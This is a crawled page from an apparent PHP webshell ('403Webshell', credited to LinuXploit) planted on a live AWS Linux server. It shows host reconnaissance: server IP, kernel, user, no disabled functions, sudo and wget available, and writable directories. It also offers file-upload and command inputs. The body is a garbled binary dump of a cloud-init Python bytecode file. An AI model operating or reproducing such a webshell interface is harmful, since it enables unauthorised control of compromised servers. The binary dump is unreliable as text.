403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3.9/site-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.9/site-packages/cloudinit/__pycache__/temp_utils.cpython-39.pyc
a

�½b��@sjddlZddlZddlZddlZddlZdadZdZddd�Zdd�Z	ej
dd	d
��Zdd�Zd
d�Z
dS)�Nz/run/cloud-init/tmpz/var/tmp/cloud-initFcCs�|dur|S|r:t}tj�|�s6t�|�t�|d�|StrBtSt��dkrTt}ntj	�
dd�}tj�|�s�t�|�t�|d�|a|S)a%Return the proper 'dir' argument for tempfile functions.

    When root, cloud-init will use /run/cloud-init/tmp to avoid
    any cleaning that a distro boot might do on /tmp (such as
    systemd-tmpfiles-clean).

    If the caller of this function (mkdtemp or mkstemp) was provided
    with a 'dir' argument, then that is respected.

    @param odir: original 'dir' arg to 'mkdtemp' or other.
    @param needs_exe: Boolean specifying whether or not exe permissions are
        needed for tempdir. This is needed because /run is mounted noexec.
    Ni�rZTMPDIRz/tmp)�_EXE_ROOT_TMPDIR�os�path�isdir�makedirs�chmod�_TMPDIR�getuid�_ROOT_TMPDIR�environ�get)Zodir�	needs_exe�tdir�r�8/usr/lib/python3.9/site-packages/cloudinit/temp_utils.py�_tempfile_dir_args$

rcsXt|�dd�|�dd��|d<tjfi|���dd�}|�_�fdd�}t�d|��S)	N�dirr
Fc
SsHzt�|�Wn4tyB}z|jtjkr.|�WYd}~n
d}~00dS�N)r�unlink�OSError�errno�ENOENT)r�errr�_unlink_if_exists?s
z0ExtendedTemporaryFile.<locals>._unlink_if_existscs���j�dSr)r�namer�Zfhrr�
unlink_nowMsz)ExtendedTemporaryFile.<locals>.unlink_nowr)r�pop�tempfileZNamedTemporaryFiler�setattr)�kwargsrrrrr�ExtendedTemporaryFile6s�r!c
ks<tfi|��}z|VWtj||d�ntj||d�0dS)N)�
ignore_errors)�mkdtemp�shutilZrmtree)Zrmtree_ignore_errorsr rrrr�tempdirTsr%cKs.t|�dd�|�dd��|d<tjfi|��S�Nrr
F)rrrr#�r rrrr#`s�r#cKs.t|�dd�|�dd��|d<tjfi|��Sr&)rrr�mkstempr'rrrr(gs�r()NF)F)�
contextlibrrr$rrr
rrr!�contextmanagerr%r#r(rrrr�<module>s
(

Youez - 2016 - github.com/yon3zu
LinuXploit